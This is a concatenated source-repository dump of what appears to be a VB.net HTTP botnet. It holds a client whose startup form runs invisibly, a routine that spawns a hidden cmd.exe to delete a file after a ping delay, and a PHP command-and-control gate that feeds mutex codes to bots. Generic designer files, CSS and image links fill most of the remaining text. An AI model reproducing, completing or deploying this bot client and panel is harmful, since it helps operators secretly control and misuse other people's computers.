Sub 108 | 109 | Private Sub btnRestore_Click_1(sender As Object, e As EventArgs) Handles btnRestore.Click 110 | Close() 111 | End Sub 112 | 113 | Private Sub btnRestoreAndCheck_Click_1(sender As Object, e As EventArgs) Handles btnRestoreAndCheck.Click 114 | Close() 115 | End Sub 116 | End Class -------------------------------------------------------------------------------- /MoP/Forms/Startup.Designer.vb: -------------------------------------------------------------------------------- 1 |  _ 2 | Partial Class Startup 3 | Inherits System.Windows.Forms.Form 4 | 5 | 'Form overrides dispose to clean up the component list. 6 | _ 7 | Protected Overrides Sub Dispose(ByVal disposing As Boolean) 8 | Try 9 | If disposing AndAlso components IsNot Nothing Then 10 | components.Dispose() 11 | End If 12 | Finally 13 | MyBase.Dispose(disposing) 14 | End Try 15 | End Sub 16 | 17 | 'Required by the Windows Form Designer 18 | Private components As System.ComponentModel.IContainer 19 | 20 | 'NOTE: The following procedure is required by the Windows Form Designer 21 | 'It can be modified using the Windows Form Designer. 22 | 'Do not modify it using the code editor. 23 | _ 24 | Private Sub InitializeComponent() 25 | Me.SuspendLayout() 26 | ' 27 | 'Startup 28 | ' 29 | Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) 30 | Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font 31 | Me.ClientSize = New System.Drawing.Size(0, 0) 32 | Me.ControlBox = False 33 | Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None 34 | Me.MaximizeBox = False 35 | Me.MinimizeBox = False 36 | Me.Name = "Startup" 37 | Me.Opacity = 0R 38 | Me.ShowIcon = False 39 | Me.ShowInTaskbar = False 40 | Me.WindowState = System.Windows.Forms.FormWindowState.Minimized 41 | Me.ResumeLayout(False) 42 | 43 | End Sub 44 | End Class 45 | -------------------------------------------------------------------------------- /MoP/Forms/Startup.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | -------------------------------------------------------------------------------- /MoP/Forms/Startup.vb: -------------------------------------------------------------------------------- 1 | Imports System.Threading 2 | Public Class Startup 3 | Private Sub Startup_Load(sender As Object, e As EventArgs) Handles Me.Load 4 | ParseCommandLineArgs() 5 | End Sub 6 | Dim MoP As New Main 7 | Sub BootStrapper() 8 | MoP.Begin() 9 | End Sub 10 | Private Sub ParseCommandLineArgs() 11 | Dim Argument As String = "/remove=" 12 | Dim file As String = "" 13 | Thread.Sleep(2000) '2 second sleep to make sure old closes 14 | For Each s As String In My.Application.CommandLineArgs 15 | If s.ToLower.StartsWith(Argument) Then 16 | file = s.Remove(0, Argument.Length) 17 | End If 18 | Next 19 | If file = "" Then 20 | Dim mainThread As New Thread(AddressOf BootStrapper) 21 | mainThread.Start() 22 | Else 23 | Dim si As New ProcessStartInfo() 24 | si.FileName = "cmd.exe" 25 | si.Arguments = "/C ping 1.1.1.1 -n 1 -w 4000 > Nul & Del """ & file & """" 26 | si.CreateNoWindow = True 27 | si.WindowStyle = ProcessWindowStyle.Hidden 28 | Process.Start(si) 29 | Dim mainThread As New Thread(AddressOf BootStrapper) 30 | mainThread.Start() 31 | End If 32 | End Sub 33 | End Class -------------------------------------------------------------------------------- /MoP/MoP.vbproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {A1EC1CD4-A692-4A61-BB9D-4A9CBAE1D042} 8 | WinExe 9 | MoP.My.MyApplication 10 | MoP 11 | MoP 12 | 512 13 | WindowsForms 14 | v3.5 15 | Client 16 | 17 | 18 | AnyCPU 19 | true 20 | full 21 | true 22 | true 23 | bin\Debug\ 24 | MoP.xml 25 | 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 26 | 27 | 28 | AnyCPU 29 | pdbonly 30 | false 31 | true 32 | true 33 | bin\Release\ 34 | MoP.xml 35 | 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 36 | 37 | 38 | On 39 | 40 | 41 | Binary 42 | 43 | 44 | Off 45 | 46 | 47 | On 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | AdBox.vb 69 | 70 | 71 | Form 72 | 73 | 74 | Component 75 | 76 | 77 | 78 | Elevation.vb 79 | 80 | 81 | Form 82 | 83 | 84 | Startup.vb 85 | 86 | 87 | Form 88 | 89 | 90 | 91 | 92 | True 93 | Application.myapp 94 | 95 | 96 | True 97 | True 98 | Resources.resx 99 | 100 | 101 | True 102 | Settings.settings 103 | True 104 | 105 | 106 | 107 | 108 | AdBox.vb 109 | 110 | 111 | Elevation.vb 112 | 113 | 114 | Startup.vb 115 | 116 | 117 | VbMyResourcesResXFileCodeGenerator 118 | Resources.Designer.vb 119 | My.Resources 120 | Designer 121 | 122 | 123 | 124 | 125 | 126 | MyApplicationCodeGenerator 127 | Application.Designer.vb 128 | 129 | 130 | SettingsSingleFileGenerator 131 | My 132 | Settings.Designer.vb 133 | 134 | 135 | 136 | 137 | 138 | 139 | 146 | -------------------------------------------------------------------------------- /MoP/MoP.vbproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | -------------------------------------------------------------------------------- /MoP/My Project/Application.Designer.vb: -------------------------------------------------------------------------------- 1 | '------------------------------------------------------------------------------ 2 | ' 3 | ' This code was generated by a tool. 4 | ' Runtime Version:4.0.30319.42000 5 | ' 6 | ' Changes to this file may cause incorrect behavior and will be lost if 7 | ' the code is regenerated. 8 | ' 9 | '------------------------------------------------------------------------------ 10 | 11 | Option Strict On 12 | Option Explicit On 13 | 14 | 15 | Namespace My 16 | 17 | 'NOTE: This file is auto-generated; do not modify it directly. To make changes, 18 | ' or if you encounter build errors in this file, go to the Project Designer 19 | ' (go to Project Properties or double-click the My Project node in 20 | ' Solution Explorer), and make changes on the Application tab. 21 | ' 22 | Partial Friend Class MyApplication 23 | 24 | _ 25 | Public Sub New() 26 | MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows) 27 | Me.IsSingleInstance = false 28 | Me.EnableVisualStyles = true 29 | Me.SaveMySettingsOnExit = true 30 | Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterAllFormsClose 31 | End Sub 32 | 33 | _ 34 | Protected Overrides Sub OnCreateMainForm() 35 | Me.MainForm = Global.MoP.Startup 36 | End Sub 37 | End Class 38 | End Namespace 39 | -------------------------------------------------------------------------------- /MoP/My Project/Application.myapp: -------------------------------------------------------------------------------- 1 |  2 | 3 | true 4 | Startup 5 | false 6 | 1 7 | true 8 | 0 9 | true 10 | -------------------------------------------------------------------------------- /MoP/My Project/AssemblyInfo.vb: -------------------------------------------------------------------------------- 1 | Imports System 2 | Imports System.Reflection 3 | Imports System.Runtime.InteropServices 4 | 5 | ' General Information about an assembly is controlled through the following 6 | ' set of attributes. Change these attribute values to modify the information 7 | ' associated with an assembly. 8 | 9 | ' Review the values of the assembly attributes 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 'The following GUID is for the ID of the typelib if this project is exposed to COM 21 | 22 | 23 | ' Version information for an assembly consists of the following four values: 24 | ' 25 | ' Major Version 26 | ' Minor Version 27 | ' Build Number 28 | ' Revision 29 | ' 30 | ' You can specify all the values or you can default the Build and Revision Numbers 31 | ' by using the '*' as shown below: 32 | ' 33 | 34 | 35 | 36 | -------------------------------------------------------------------------------- /MoP/My Project/Resources.Designer.vb: -------------------------------------------------------------------------------- 1 | '------------------------------------------------------------------------------ 2 | ' 3 | ' This code was generated by a tool. 4 | ' Runtime Version:4.0.30319.42000 5 | ' 6 | ' Changes to this file may cause incorrect behavior and will be lost if 7 | ' the code is regenerated. 8 | ' 9 | '------------------------------------------------------------------------------ 10 | 11 | Option Strict On 12 | Option Explicit On 13 | 14 | Imports System 15 | 16 | Namespace My.Resources 17 | 18 | 'This class was auto-generated by the StronglyTypedResourceBuilder 19 | 'class via a tool like ResGen or Visual Studio. 20 | 'To add or remove a member, edit your .ResX file then rerun ResGen 21 | 'with the /str option, or rebuild your VS project. 22 | ''' 23 | ''' A strongly-typed resource class, for looking up localized strings, etc. 24 | ''' 25 | _ 29 | Friend Module Resources 30 | 31 | Private resourceMan As Global.System.Resources.ResourceManager 32 | 33 | Private resourceCulture As Global.System.Globalization.CultureInfo 34 | 35 | ''' 36 | ''' Returns the cached ResourceManager instance used by this class. 37 | ''' 38 | _ 39 | Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager 40 | Get 41 | If Object.ReferenceEquals(resourceMan, Nothing) Then 42 | Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("MoP.Resources", GetType(Resources).Assembly) 43 | resourceMan = temp 44 | End If 45 | Return resourceMan 46 | End Get 47 | End Property 48 | 49 | ''' 50 | ''' Overrides the current thread's CurrentUICulture property for all 51 | ''' resource lookups using this strongly typed resource class. 52 | ''' 53 | _ 54 | Friend Property Culture() As Global.System.Globalization.CultureInfo 55 | Get 56 | Return resourceCulture 57 | End Get 58 | Set 59 | resourceCulture = value 60 | End Set 61 | End Property 62 | 63 | ''' 64 | ''' Looks up a localized resource of type System.Drawing.Bitmap. 65 | ''' 66 | Friend ReadOnly Property information() As System.Drawing.Bitmap 67 | Get 68 | Dim obj As Object = ResourceManager.GetObject("information", resourceCulture) 69 | Return CType(obj,System.Drawing.Bitmap) 70 | End Get 71 | End Property 72 | End Module 73 | End Namespace 74 | -------------------------------------------------------------------------------- /MoP/My Project/Resources.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | 121 | 122 | ..\Resources\information.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 123 | 124 | -------------------------------------------------------------------------------- /MoP/My Project/Settings.Designer.vb: -------------------------------------------------------------------------------- 1 | '------------------------------------------------------------------------------ 2 | ' 3 | ' This code was generated by a tool. 4 | ' Runtime Version:4.0.30319.42000 5 | ' 6 | ' Changes to this file may cause incorrect behavior and will be lost if 7 | ' the code is regenerated. 8 | ' 9 | '------------------------------------------------------------------------------ 10 | 11 | Option Strict On 12 | Option Explicit On 13 | 14 | 15 | Namespace My 16 | 17 | _ 20 | Partial Friend NotInheritable Class MySettings 21 | Inherits Global.System.Configuration.ApplicationSettingsBase 22 | 23 | Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings) 24 | 25 | #Region "My.Settings Auto-Save Functionality" 26 | #If _MyType = "WindowsForms" Then 27 | Private Shared addedHandler As Boolean 28 | 29 | Private Shared addedHandlerLockObject As New Object 30 | 31 | _ 32 | Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) 33 | If My.Application.SaveMySettingsOnExit Then 34 | My.Settings.Save() 35 | End If 36 | End Sub 37 | #End If 38 | #End Region 39 | 40 | Public Shared ReadOnly Property [Default]() As MySettings 41 | Get 42 | 43 | #If _MyType = "WindowsForms" Then 44 | If Not addedHandler Then 45 | SyncLock addedHandlerLockObject 46 | If Not addedHandler Then 47 | AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings 48 | addedHandler = True 49 | End If 50 | End SyncLock 51 | End If 52 | #End If 53 | Return defaultInstance 54 | End Get 55 | End Property 56 | End Class 57 | End Namespace 58 | 59 | Namespace My 60 | 61 | _ 64 | Friend Module MySettingsProperty 65 | 66 | _ 67 | Friend ReadOnly Property Settings() As Global.MoP.My.MySettings 68 | Get 69 | Return Global.MoP.My.MySettings.Default 70 | End Get 71 | End Property 72 | End Module 73 | End Namespace 74 | -------------------------------------------------------------------------------- /MoP/My Project/Settings.settings: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /MoP/Resources/information.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SaturnsVoid/VB.net-HTTP-Botnet/a9526f8573af12208bda7297bd2e6f8ff4ba9d99/MoP/Resources/information.png -------------------------------------------------------------------------------- /MoP/app.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /Panel/config.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Panel/css/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SaturnsVoid/VB.net-HTTP-Botnet/a9526f8573af12208bda7297bd2e6f8ff4ba9d99/Panel/css/.DS_Store -------------------------------------------------------------------------------- /Panel/css/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Untitled Document 6 | 7 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /Panel/css/morris.css: -------------------------------------------------------------------------------- 1 | .morris-hover{position:absolute;z-index:1000;}.morris-hover.morris-default-style{border-radius:10px;padding:6px;color:#666;background:rgba(255, 255, 255, 0.8);border:solid 2px rgba(230, 230, 230, 0.8);font-family:sans-serif;font-size:12px;text-align:center;}.morris-hover.morris-default-style .morris-hover-row-label{font-weight:bold;margin:0.25em 0;} 2 | .morris-hover.morris-default-style .morris-hover-point{white-space:nowrap;margin:0.1em 0;} 3 | -------------------------------------------------------------------------------- /Panel/css/style.css: -------------------------------------------------------------------------------- 1 | /* 2 | Errno::ENOENT: No such file or directory - style.scss 3 | 4 | Backtrace: 5 | C:/Ruby192/lib/ruby/gems/1.9.1/gems/sass-3.2.4/lib/sass/plugin/compiler.rb:339:in `read' 6 | C:/Ruby192/lib/ruby/gems/1.9.1/gems/sass-3.2.4/lib/sass/plugin/compiler.rb:339:in `update_stylesheet' 7 | C:/Ruby192/lib/ruby/gems/1.9.1/gems/sass-3.2.4/lib/sass/plugin/compiler.rb:203:in `block in update_stylesheets' 8 | C:/Ruby192/lib/ruby/gems/1.9.1/gems/sass-3.2.4/lib/sass/plugin/compiler.rb:201:in `each' 9 | C:/Ruby192/lib/ruby/gems/1.9.1/gems/sass-3.2.4/lib/sass/plugin/compiler.rb:201:in `update_stylesheets' 10 | C:/Ruby192/lib/ruby/gems/1.9.1/gems/sass-3.2.4/lib/sass/plugin/compiler.rb:235:in `watch' 11 | C:/Ruby192/lib/ruby/gems/1.9.1/gems/sass-3.2.4/lib/sass/plugin.rb:107:in `method_missing' 12 | C:/Ruby192/lib/ruby/gems/1.9.1/gems/sass-3.2.4/lib/sass/exec.rb:444:in `watch_or_update' 13 | C:/Ruby192/lib/ruby/gems/1.9.1/gems/sass-3.2.4/lib/sass/exec.rb:307:in `process_result' 14 | C:/Ruby192/lib/ruby/gems/1.9.1/gems/sass-3.2.4/lib/sass/exec.rb:41:in `parse' 15 | C:/Ruby192/lib/ruby/gems/1.9.1/gems/sass-3.2.4/lib/sass/exec.rb:21:in `parse!' 16 | C:/Ruby192/lib/ruby/gems/1.9.1/gems/sass-3.2.4/bin/sass:8:in `' 17 | C:/Ruby192/bin/sass:19:in `load' 18 | C:/Ruby192/bin/sass:19:in `
' 19 | */ 20 | body:before { 21 | white-space: pre; 22 | font-family: monospace; 23 | content: "Errno::ENOENT: No such file or directory - style.scss"; } 24 | -------------------------------------------------------------------------------- /Panel/css/timepicker.css: -------------------------------------------------------------------------------- 1 | .bootstrap-timepicker.dropdown-menu { 2 | border-radius: 4px 4px 4px 4px; 3 | display: none; 4 | left: 0; 5 | margin-top: 1px; 6 | padding: 4px; 7 | color: #333; 8 | top: 0; 9 | min-width: 10px; 10 | z-index: 99999; 11 | } 12 | .bootstrap-timepicker.dropdown-menu.open { 13 | display: inline-block; 14 | } 15 | .bootstrap-timepicker.dropdown-menu:before { 16 | border-bottom: 7px solid rgba(0, 0, 0, 0.2); 17 | border-left: 7px solid transparent; 18 | border-right: 7px solid transparent; 19 | content: ""; 20 | left: 6px; 21 | position: absolute; 22 | top: -7px; 23 | } 24 | .bootstrap-timepicker.dropdown-menu:after { 25 | border-bottom: 6px solid #000; 26 | border-left: 6px solid transparent; 27 | border-right: 6px solid transparent; 28 | content: ""; 29 | left: 7px; 30 | position: absolute; 31 | top: -6px; 32 | } 33 | .bootstrap-timepicker.modal { 34 | margin-left: -100px; 35 | margin-top: 0; 36 | top: 30%; 37 | width: 200px; 38 | left: 50% !important; 39 | } 40 | .bootstrap-timepicker.modal .modal-content { 41 | padding: 0; 42 | } 43 | .bootstrap-timepicker table { 44 | margin: 0; 45 | width: 100%; 46 | } 47 | .bootstrap-timepicker table td { 48 | height: 30px; 49 | margin: 0; 50 | padding: 2px; 51 | text-align: center; 52 | } 53 | .bootstrap-timepicker table td span { 54 | width: 100%; 55 | } 56 | .bootstrap-timepicker table td a { 57 | border: 1px solid transparent; 58 | display: inline-block; 59 | margin: 0; 60 | outline: 0 none; 61 | padding: 8px 0; 62 | width: 3em; 63 | } 64 | .bootstrap-timepicker table td a:hover { 65 | background-color: #EEEEEE; 66 | border-color: #DDDDDD; 67 | border-radius: 4px 4px 4px 4px; 68 | } 69 | .bootstrap-timepicker table td a i { 70 | margin-top: 2px; 71 | } 72 | .bootstrap-timepicker table td input { 73 | margin: 0; 74 | text-align: center; 75 | width: 25px; 76 | } 77 | .bootstrap-timepicker-component .add-on { 78 | cursor: pointer; 79 | } 80 | .bootstrap-timepicker-component .add-on i { 81 | display: block; 82 | height: 16px; 83 | width: 16px; 84 | } 85 | -------------------------------------------------------------------------------- /Panel/css/wysiwyg/bootstrap-wysihtml5.css: -------------------------------------------------------------------------------- 1 | ul.wysihtml5-toolbar { 2 | margin: 0; 3 | padding: 0; 4 | display: block; 5 | } 6 | 7 | ul.wysihtml5-toolbar::after { 8 | clear: both; 9 | display: table; 10 | content: ""; 11 | } 12 | 13 | ul.wysihtml5-toolbar > li { 14 | float: left; 15 | display: list-item; 16 | list-style: none; 17 | margin: 0 5px 10px 0; 18 | } 19 | 20 | ul.wysihtml5-toolbar a[data-wysihtml5-command=bold] { 21 | font-weight: bold; 22 | } 23 | 24 | ul.wysihtml5-toolbar a[data-wysihtml5-command=italic] { 25 | font-style: italic; 26 | } 27 | 28 | ul.wysihtml5-toolbar a[data-wysihtml5-command=underline] { 29 | text-decoration: underline; 30 | } 31 | 32 | ul.wysihtml5-toolbar a.btn.wysihtml5-command-active { 33 | background-image: none; 34 | -webkit-box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15),0 1px 2px rgba(0, 0, 0, 0.05); 35 | -moz-box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15),0 1px 2px rgba(0, 0, 0, 0.05); 36 | box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15),0 1px 2px rgba(0, 0, 0, 0.05); 37 | background-color: #E6E6E6; 38 | background-color: #D9D9D9; 39 | outline: 0; 40 | } 41 | 42 | ul.wysihtml5-commands-disabled .dropdown-menu { 43 | display: none !important; 44 | } 45 | 46 | ul.wysihtml5-toolbar div.wysihtml5-colors { 47 | display:block; 48 | width: 50px; 49 | height: 20px; 50 | margin-top: 2px; 51 | margin-left: 5px; 52 | position: absolute; 53 | pointer-events: none; 54 | } 55 | 56 | ul.wysihtml5-toolbar a.wysihtml5-colors-title { 57 | padding-left: 70px; 58 | } 59 | 60 | ul.wysihtml5-toolbar div[data-wysihtml5-command-value="black"] { 61 | background: black !important; 62 | } 63 | 64 | ul.wysihtml5-toolbar div[data-wysihtml5-command-value="silver"] { 65 | background: silver !important; 66 | } 67 | 68 | ul.wysihtml5-toolbar div[data-wysihtml5-command-value="gray"] { 69 | background: gray !important; 70 | } 71 | 72 | ul.wysihtml5-toolbar div[data-wysihtml5-command-value="maroon"] { 73 | background: maroon !important; 74 | } 75 | 76 | ul.wysihtml5-toolbar div[data-wysihtml5-command-value="red"] { 77 | background: red !important; 78 | } 79 | 80 | ul.wysihtml5-toolbar div[data-wysihtml5-command-value="purple"] { 81 | background: purple !important; 82 | } 83 | 84 | ul.wysihtml5-toolbar div[data-wysihtml5-command-value="green"] { 85 | background: green !important; 86 | } 87 | 88 | ul.wysihtml5-toolbar div[data-wysihtml5-command-value="olive"] { 89 | background: olive !important; 90 | } 91 | 92 | ul.wysihtml5-toolbar div[data-wysihtml5-command-value="navy"] { 93 | background: navy !important; 94 | } 95 | 96 | ul.wysihtml5-toolbar div[data-wysihtml5-command-value="blue"] { 97 | background: blue !important; 98 | } 99 | 100 | ul.wysihtml5-toolbar div[data-wysihtml5-command-value="orange"] { 101 | background: orange !important; 102 | } 103 | -------------------------------------------------------------------------------- /Panel/css/wysiwyg/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Untitled Document 6 | 7 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /Panel/css/wysiwyg/wysiwyg-color.css: -------------------------------------------------------------------------------- 1 | .wysiwyg-color-black { 2 | color: black; 3 | } 4 | 5 | .wysiwyg-color-silver { 6 | color: silver; 7 | } 8 | 9 | .wysiwyg-color-gray { 10 | color: gray; 11 | } 12 | 13 | .wysiwyg-color-white { 14 | color: white; 15 | } 16 | 17 | .wysiwyg-color-maroon { 18 | color: maroon; 19 | } 20 | 21 | .wysiwyg-color-red { 22 | color: red; 23 | } 24 | 25 | .wysiwyg-color-purple { 26 | color: purple; 27 | } 28 | 29 | .wysiwyg-color-fuchsia { 30 | color: fuchsia; 31 | } 32 | 33 | .wysiwyg-color-green { 34 | color: green; 35 | } 36 | 37 | .wysiwyg-color-lime { 38 | color: lime; 39 | } 40 | 41 | .wysiwyg-color-olive { 42 | color: olive; 43 | } 44 | 45 | .wysiwyg-color-yellow { 46 | color: yellow; 47 | } 48 | 49 | .wysiwyg-color-navy { 50 | color: navy; 51 | } 52 | 53 | .wysiwyg-color-blue { 54 | color: blue; 55 | } 56 | 57 | .wysiwyg-color-teal { 58 | color: teal; 59 | } 60 | 61 | .wysiwyg-color-aqua { 62 | color: aqua; 63 | } 64 | 65 | .wysiwyg-color-orange { 66 | color: orange; 67 | } -------------------------------------------------------------------------------- /Panel/files/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Untitled Document 6 | 7 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /Panel/gate.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | connect_error) { 25 | die('Error : ('. $mysqli->connect_errno .') '. $mysqli->connect_error); 26 | } 27 | $results = $mysqli->query("SELECT mutex_id, mutex_code FROM mutex"); 28 | while($row = $results->fetch_assoc()) 29 | { 30 | echo $row['mutex_code'] . "|"; 31 | } 32 | $mysqli->close(); 33 | } 34 | ?> -------------------------------------------------------------------------------- /Panel/icomoon/fonts/icomoon.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SaturnsVoid/VB.net-HTTP-Botnet/a9526f8573af12208bda7297bd2e6f8ff4ba9d99/Panel/icomoon/fonts/icomoon.eot -------------------------------------------------------------------------------- /Panel/icomoon/fonts/icomoon.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SaturnsVoid/VB.net-HTTP-Botnet/a9526f8573af12208bda7297bd2e6f8ff4ba9d99/Panel/icomoon/fonts/icomoon.ttf -------------------------------------------------------------------------------- /Panel/icomoon/fonts/icomoon.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SaturnsVoid/VB.net-HTTP-Botnet/a9526f8573af12208bda7297bd2e6f8ff4ba9d99/Panel/icomoon/fonts/icomoon.woff -------------------------------------------------------------------------------- /Panel/icomoon/fonts/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Untitled Document 6 | 7 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /Panel/icomoon/license.txt: -------------------------------------------------------------------------------- 1 | Icon Set: IcoMoon - Free -- http://keyamoon.com/icomoon/ 2 | License: CC BY 3.0 -- http://creativecommons.org/licenses/by/3.0/ 3 | 4 | 5 | Icon Set: Broccolidry -- http://dribbble.com/shots/587469-Free-16px-Broccolidryiconsaniconsetitisfullof-icons 6 | License: Aribitrary -- http://licence.visualidiot.com/ 7 | 8 | 9 | Icon Set: Meteocons -- http://www.alessioatzeni.com/meteocons/ 10 | License: Arbitrary -- http://www.alessioatzeni.com/meteocons/#about 11 | 12 | 13 | Icon Set: Iconic -- http://somerandomdude.com/work/iconic/ 14 | License: CC BY-SA 3.0 -- http://creativecommons.org/licenses/by-sa/3.0/us/ -------------------------------------------------------------------------------- /Panel/img/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SaturnsVoid/VB.net-HTTP-Botnet/a9526f8573af12208bda7297bd2e6f8ff4ba9d99/Panel/img/.DS_Store -------------------------------------------------------------------------------- /Panel/img/alpha.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SaturnsVoid/VB.net-HTTP-Botnet/a9526f8573af12208bda7297bd2e6f8ff4ba9d99/Panel/img/alpha.png -------------------------------------------------------------------------------- /Panel/img/avatar-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SaturnsVoid/VB.net-HTTP-Botnet/a9526f8573af12208bda7297bd2e6f8ff4ba9d99/Panel/img/avatar-1.png -------------------------------------------------------------------------------- /Panel/img/avatar-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SaturnsVoid/VB.net-HTTP-Botnet/a9526f8573af12208bda7297bd2e6f8ff4ba9d99/Panel/img/avatar-2.png -------------------------------------------------------------------------------- /Panel/img/avatar-3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SaturnsVoid/VB.net-HTTP-Botnet/a9526f8573af12208bda7297bd2e6f8ff4ba9d99/Panel/img/avatar-3.png -------------------------------------------------------------------------------- /Panel/img/avatar-4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SaturnsVoid/VB.net-HTTP-Botnet/a9526f8573af12208bda7297bd2e6f8ff4ba9d99/Panel/img/avatar-4.png -------------------------------------------------------------------------------- /Panel/img/avatar-5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SaturnsVoid/VB.net-HTTP-Botnet/a9526f8573af12208bda7297bd2e6f8ff4ba9d99/Panel/img/avatar-5.png -------------------------------------------------------------------------------- /Panel/img/avatar-6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SaturnsVoid/VB.net-HTTP-Botnet/a9526f8573af12208bda7297bd2e6f8ff4ba9d99/Panel/img/avatar-6.png -------------------------------------------------------------------------------- /Panel/img/avatar-7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SaturnsVoid/VB.net-HTTP-Botnet/a9526f8573af12208bda7297bd2e6f8ff4ba9d99/Panel/img/avatar-7.png -------------------------------------------------------------------------------- /Panel/img/avatar-8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SaturnsVoid/VB.net-HTTP-Botnet/a9526f8573af12208bda7297bd2e6f8ff4ba9d99/Panel/img/avatar-8.png -------------------------------------------------------------------------------- /Panel/img/brillant.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SaturnsVoid/VB.net-HTTP-Botnet/a9526f8573af12208bda7297bd2e6f8ff4ba9d99/Panel/img/brillant.png -------------------------------------------------------------------------------- /Panel/img/clear.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SaturnsVoid/VB.net-HTTP-Botnet/a9526f8573af12208bda7297bd2e6f8ff4ba9d99/Panel/img/clear.png -------------------------------------------------------------------------------- /Panel/img/glyphicons-halflings-white.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SaturnsVoid/VB.net-HTTP-Botnet/a9526f8573af12208bda7297bd2e6f8ff4ba9d99/Panel/img/glyphicons-halflings-white.png -------------------------------------------------------------------------------- /Panel/img/glyphicons-halflings.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SaturnsVoid/VB.net-HTTP-Botnet/a9526f8573af12208bda7297bd2e6f8ff4ba9d99/Panel/img/glyphicons-halflings.png -------------------------------------------------------------------------------- /Panel/img/gray_jean.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SaturnsVoid/VB.net-HTTP-Botnet/a9526f8573af12208bda7297bd2e6f8ff4ba9d99/Panel/img/gray_jean.png -------------------------------------------------------------------------------- /Panel/img/hue.png: -------------------------------------------------------------------------------- 